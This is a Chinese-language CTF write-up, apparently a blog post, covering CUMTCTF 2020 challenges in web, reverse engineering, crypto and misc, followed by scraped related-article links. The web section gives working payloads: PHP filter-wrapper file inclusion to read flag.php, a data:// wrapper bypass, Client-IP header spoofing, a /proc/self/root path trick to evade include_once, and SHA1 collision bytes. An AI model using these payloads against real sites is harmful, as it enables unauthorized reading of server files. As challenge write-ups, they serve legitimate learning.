三天的比赛终于结束了,不知道有没有睡10个小时,感觉像中了魔一样,但也很享受这种感觉,除了没有能和我一起琢磨题目朋友..

就最终结果而言还是有一些可惜,明明号称擅长web和misc反而是得分比例最小的,靠着别的方向的签到题狗分,不过过程上还是很满足,这三天学的知识得好好消化~

WEB

Web签到

payload http://202.119.201.197:13001/?1

hackbar payload 2=2 出现源码

猜测flag在flag.php里(可以访问无结果),利用php伪协议payload http://202.119.201.197:13001/?1&file=php://filter/read=convert.base64-encode/resource=./flag.php

页面回显flag:PD9waHANCgkkZmxhZz0iQ1VNVENURnsxNzkwNTViNC1lOGY1LTQyZDItYmZlNC0wMjdkMTVlOTQ2YjJ9Ijs=

base64解密得到最终flag:CUMTCTF{179055b4-e8f5-42d2-bfe4-027d15e946b2}

Secret

进入页面除了一张帅照没有任何信息,尝试用御剑扫描后台,发现www.zip文件 下载得到源码

<!DOCTYPE html>
<html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Secret?</title>
<h1>The dream of a great singer</h1>
<img src="./secret.jpg" alt="The dream of a great singer" />
</html>
<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
$str1=$_GET['param1'];
if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
die("Suvin doesn't like you");
if(isset($_GET['param2'])){
$str2=$_GET['param2'];
if(!is_numeric($str2))
die('Suvin prefers strings of Numbers');
else if($str2<3600*24*30)
die('Suvin says the num is too short');
else if($str2>3600*24*31)
die('Suvin says the num is too long');
else {
echo "Suvin says he's falling in love with you!"."</br>";
sleep(intval($str2));
}
if (isset($_POST['param1']) && isset($_POST['param2'])) {
$str1=$_POST['param1'];
$str2=$_POST['param2'];
if(strlen($str1)>1000)
die("It's too long");
if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
echo $flag;
else
die("It's so similar to md5");
}
}
}
?>
  • 第一层 data协议 payload param1=data://text/plain,Suvin_wants_a_girlfriend

  • 第二层 科学计数法 payload param2=2.592E6

  • 第三层 下意识反应是传入数组让sha1返回false然后成功绕过,但问题是前面还有strings处理会导致同样相等,看来这里这里只能找到sha1真碰撞。谷歌曾提供了两份不一样的pdf,但它们前320位的sha1值却是相等的。下面是两个文件的16进制:

    • pdf1:

      25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A

      0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74

      68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33

      20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F

      53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69

      6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72

      53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67

      74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72

      43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74

      72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31

      20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC

      09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01

      73 46 DC 91 66 B6 7E 11 8F 02 9A B6 21 B2 56 0F

      F9 CA 67 CC A8 C7 F8 5B A8 4C 79 03 0C 2B 3D E2

      18 F8 6D B3 A9 09 01 D5 DF 45 C1 4F 26 FE DF B3

      DC 38 E9 6A C2 2F E7 BD 72 8F 0E 45 BC E0 46 D2

      3C 57 0F EB 14 13 98 BB 55 2E F5 A0 A8 2B E3 31

      FE A4 80 37 B8 B5 D7 1F 0E 33 2E DF 93 AC 35 00

      EB 4D DC 0D EC C1 A8 64 79 0C 78 2C 76 21 56 60

      DD 30 97 91 D0 6B D0 AF 3F 98 CD A4 BC 46 29 B1

    • pdf2:

      25 50 44 46 2D 31 2E 33 0A 25 E2 E3 CF D3 0A 0A

      0A 31 20 30 20 6F 62 6A 0A 3C 3C 2F 57 69 64 74

      68 20 32 20 30 20 52 2F 48 65 69 67 68 74 20 33

      20 30 20 52 2F 54 79 70 65 20 34 20 30 20 52 2F

      53 75 62 74 79 70 65 20 35 20 30 20 52 2F 46 69

      6C 74 65 72 20 36 20 30 20 52 2F 43 6F 6C 6F 72

      53 70 61 63 65 20 37 20 30 20 52 2F 4C 65 6E 67

      74 68 20 38 20 30 20 52 2F 42 69 74 73 50 65 72

      43 6F 6D 70 6F 6E 65 6E 74 20 38 3E 3E 0A 73 74

      72 65 61 6D 0A FF D8 FF FE 00 24 53 48 41 2D 31

      20 69 73 20 64 65 61 64 21 21 21 21 21 85 2F EC

      09 23 39 75 9C 39 B1 A1 C6 3C 4C 97 E1 FF FE 01

      7F 46 DC 93 A6 B6 7E 01 3B 02 9A AA 1D B2 56 0B

      45 CA 67 D6 88 C7 F8 4B 8C 4C 79 1F E0 2B 3D F6

      14 F8 6D B1 69 09 01 C5 6B 45 C1 53 0A FE DF B7

      60 38 E9 72 72 2F E7 AD 72 8F 0E 49 04 E0 46 C2

      30 57 0F E9 D4 13 98 AB E1 2E F5 BC 94 2B E3 35

      42 A4 80 2D 98 B5 D7 0F 2A 33 2E C3 7F AC 35 14

      E7 4D DC 0F 2C C1 A8 74 CD 0C 78 30 5A 21 56 64

      61 30 97 89 60 6B D0 BF 3F 98 CD A8 04 46 29 A1

    然后将文件前320位url编码使用就可以了

    对了 注意记住post传输时最好用burp,因为hackbar post是url编码前的,会导致失败。

简单的文件包含

根据问题,首先想到X-Forwarded-For: 127.0.0.1 被揭穿,尝试用Client-ip: 127.0.0.1 成功,得到源码,其中最关键一句

include_once("flag.php");
if(isset($_POST['f']))
include_once($_POST['f']);

发现常规payload f=php://filter/convert.base64-encode/resource=./falg,php已经没有反应,通过查阅https://www.anquanke.com/post/id/213235得知可以payload f=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

得到base64加密flag,解码即可

Re

连签到的分都不给你

ida打开 直接可以看到flag

兄弟们快来帮帮葡葡

upx脱壳,ida打开就能看到flag

python题禁止python

注意第106行BINARY_XOR,python脚本:

a=[80,70,94,71,80,71,85,104,86,39,64,106,76,67,106,71,123,92,125,76,37,106,103,118,80,35,119,32,110]
result=""
for i in range(len(a)):
result+=chr(a[i]^19)
print(result)

即可输出flag

CRYPOT

幼儿园的密码题

RSA加密,已知e,n,c, 先把三个数都化为十进制,在在线网站分解nhttp://factordb.com/得到p,q,再利用工具(自己写也可)RSA-tools2 输入p,q,n找到d

再利用python脚本得到flag

e = 65537

n = 106521084065274837947153338013414677016150003618052696631715598225251903811631

C = 40448992051548719008529549070468060415257485938698092782029814901918646701101

d = 40136589253519337904801936751808322538729097075790793658605275357454779780497

M = pow(C,d,n)
print(M)
print('------------')
print(hex(M)[2:]) #16进制明文
print('------------')
print(bytes.fromhex(hex(M)[2:])) #16进制转文本

小学生的密码题

给出加密方式和密文求明文,由 ord("A"), ord("}") **+** 1发现完全可以爆破偷鸡(虽然也是小学生题),python脚本:

def encode(ptext):
dic = [chr(i) for i in range(ord("A"), ord("}") + 1)]
m = [i for i in ptext]
tmp = [];s = []
for i in range(len(m)):
for j in range(len(dic)):
if m[i] == dic[j]:
tmp.append(j + 1)
for i in tmp:
res = ""
if i >= 8:
res += int(i/8)*"8"
if i%8 >=4:
res += int(i%8/4)*"4"
if i%4 >=2:
res += int(i%4/2)*"2"
if i%2 >= 1:
res += int(i%2/1)*"1"
return res st = "21088410841088402108840420888888821088810888884210888888410888421088881088888820888841088842108820888881088884210888880888888408888888410".split('0')
a = 0
result = ""
for i in range(len(st)):
for j in range(ord('A'), ord('}')+1):
if encode(chr(j)) == st[a]:
a = a + 1
result += chr(j)
break
print(result)

MISC

连签到都算不上

打开txt,base64转图片,将得到的编码\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u5e73\u7b49\u81ea\u7531\u8bda\u4fe1\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u516c\u6b63\u6cd5\u6cbb\u53cb\u5584\u5e73\u7b49\u5e73\u7b49\u6cd5\u6cbb\u548c\u8c10\u548c\u8c10\u516c\u6b63\u8bda\u4fe1\u6587\u660e\u516c\u6b63\u548c\u8c10\u548c\u8c10\u5bcc\u5f3a\u516c\u6b63\u8bda\u4fe1\u548c\u8c10\u548c\u8c10\u548c\u8c10\u5e73\u7b49\u8bda\u4fe1\u5e73\u7b49\u548c\u8c10\u6587\u660e\u5e73\u7b49\u8bda\u4fe1\u5e73\u7b49\u81ea\u7531\u548c\u8c10\u5e73\u7b49\u81ea\u7531\u81ea\u7531\u516c\u6b63\u6587\u660e\u6c11\u4e3b\u6cd5\u6cbb\u8bda\u4fe1\u548c\u8c10\u000d\u000a

Unicode转中文得到

自由和谐平等平等自由诚信和谐平等自由自由和谐平等自由自由公正法治友善平等平等法治和谐和谐公正诚信文明公正和谐和谐富强公正诚信和谐和谐和谐平等诚信平等和谐文明平等诚信平等自由和谐平等自由自由公正文明民主法治诚信和谐

在前往在线核心价值观编码解码即可http://ctf.ssleye.com/cvencode.html

真·签到题

把下载得到的图片丢进010,在尾部发现base64编码,解码得到EWOVEVH{U1ip_kp_uweeguuhw11a!},由形式看出来为凯撒加密,位移为2,解密得到flag:CUMTCTF{S1gn_in_successfu11y!}

CUMTCTF'2020 已做wp的更多相关文章

  1. CUMTCTF'2020 未完成 wp

    Web babysqli burp抓包,发现有 的过滤,用/**/过滤空格. 报错注入 payload username=admin&password='/**/or/**/extractva ...

  2. JS数字格式化(用逗号隔开 代码已做了修改 支持0-9位逗号隔开)

    最近做项目需要我们前端对金额进行千分位格式化(也就是说每三位用逗号隔开),代码已经做了修改  之前的版本是本人疏忽 真对不住大家了!现在已经做了修改 如果还有不完善的地方 请大家多多指教! 1. 支持 ...

  3. 做WP程序时遇到的一些问题及解决方法

    问题1:Type 'JDBYSJ.Data.NewsChannel' cannot be serialized. Consider marking it with the DataContractAt ...

  4. NSURLSession/NSURLConnection的上传文件方法(已做了更新)

    最好的学习方法就是 领悟 + 证悟. 此篇文章的理论基础主要是与HTTP网络通信协议相关.为集中精力,可以先把TCP/IP协议这些置之不理,也就是先只关注HTTP的请求和响应的结构.HTTP完整的原理 ...

  5. 2020 DJBCTF RE wp

    1.anniu 吐槽:浓浓一股杂项的味道,妈的,用xspy和resource har加ida死活搜不到回调函数,淦 下一个灰色按钮克星,直接把灰色的按钮点亮,直接点击就可以出了,软件下载链接:http ...

  6. 1.[WP Developer体验Andriod开发]之Andriod布局 VS WinPhone布局

    0.写在前面的话 近来被HTML+CSS的布局折腾的死去活来,眼巴巴的看着CSS3中的flex,grid等更便捷更高效的的布局方式无法在项目中应用,心里那叫一个窝火啊,去你妹的兼容性,,, 最近体验下 ...

  7. wp上一款应用的出生与死亡

    起因 因为自己买了个wp手机,所以对于微软的这个wp系统还是非常喜欢,无奈软件质量不高,过年前便买了个wp的开发者帐号,不是很贵,还想着为wp的生态系统做点贡献.无奈工作繁忙,一直没有机会去做.但是自 ...

  8. IntelliJ IDEA 2020.2正式发布,诸多亮点总有几款能助你提效

    向工具人致敬.本文已被 https://www.yourbatman.cn 收录,里面一并有Spring技术栈.MyBatis.JVM.中间件等小而美的专栏供以免费学习.关注公众号[BAT的乌托邦]逐 ...

  9. WP 手机Lumia 820 锁屏密码的破解研究

    Windows Phone lumia 手机锁屏密码的破解研究     大家好今天给大家分享一个最新研究案例, 近日笔者接Nokia Lumia 820, 由于客户密码失误太多,导致锁屏23000余分 ...

随机推荐

  1. idea 推送jar包到maven私库

    1.推送到本地仓库 idea直接install即可 2.推送到公司私库 2.1 使用配置公司仓库地址的setting文件 <?xml version="1.0" encodi ...

  2. 第3篇 Scrum 冲刺博客

    1.站立会议 照骗 进度 成员 昨日完成任务 今日计划任务 遇到的困难 钟智锋 确定客户端和服务器通信的形式 重新设计项目执行流程 我的规划过于混乱,对应难以同步开发 庄诗楷 绘制棋盘 游戏窗口的制作 ...

  3. Java 8新的时间日期库,这二十个案例看完你还学不会算我的!!!

    Java对日期,日历及时间的处理一直以来都饱受诟病,尤其是它决定将java.util.Date定义为可修改的以及将SimpleDateFormat实现成非线程安全的.看来Java已经意识到需要为时间及 ...

  4. Resharper 2020 免费破解版

    如果你是一名.NET开发人员,但是你却不使用ReSharper,那么你就不是一个合格的码农了,因为这是一个强大的神器,你值得拥有!当然,用它的代价是,启动VS会变得非常慢,非常卡,但是需要知道,磨刀不 ...

  5. composer安装依赖包时,php内存分配不足

    Fatal error: Allowed memory size of 1610612736 bytes exhausted (tried to allocate 4096 bytes) in pha ...

  6. Fitness - 05.22

    终于到了连续熬夜,感觉身心俱疲的年纪了. 今天休息一天,瑜伽暂停. 调整作息时间,12点睡觉,5点起床学习~

  7. 解决ORA-00257无法删除用户

    今日早晨在客户反馈不能登陆系统了,查看oracle日志.发现如下错误ORA-00257: archiver error. Connect internal only, until freed.该错误是 ...

  8. docker打包项目

    nginx镜像制作实战 docker容器的主业 docker理念里,容器启动时,应当为它指定主业是什么,如nginx容器主业就是nginx代理服务,tomcat容器就是web服务等等 1.容器创建时, ...

  9. J2EE之JavaScript(1)

    声明:此博客仅供记录自己的学习记录和随笔,看看就行了,就图一乐!   本篇学习随笔来自JavaScript 菜鸟教程:https://www.runoob.com/js/js-howto.html J ...

  10. jmeter压测以及用Badboy录脚本

    一.压测时的基本配置: 1.设置线程数.延迟几秒.循环次数打勾表示一直去循环.调度器打勾可以填写持续时间.启动时间等 线程数:就是并发的用户数   N Ramp-Up Period(in second ...